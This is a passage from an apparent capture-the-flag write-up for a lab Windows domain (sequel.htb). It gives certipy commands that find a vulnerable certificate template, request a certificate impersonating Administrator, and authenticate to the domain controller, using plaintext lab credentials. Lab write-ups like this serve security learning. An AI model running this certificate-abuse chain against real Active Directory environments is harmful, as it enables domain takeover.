certipy find -u 'ca_svc' -p 'newP@ssword2022' -dc-ip 10.10.11.51 -stdout -vulnerable
We can now request a certificate as the Administrator user
1
certipy req -u 'rose' -p 'KxEPkKe6R8su' -ca sequel-DC01-CA -template DunderMifflinAuthentication -upn Administrator -dc-ip 10.10.11.51
And then use such certificate to authenticate to the DC.
1
certipy auth -pfx administrator.pfx -username Administrator -domain sequel.htb
This post is licensed under CC BY 4.0 by the author.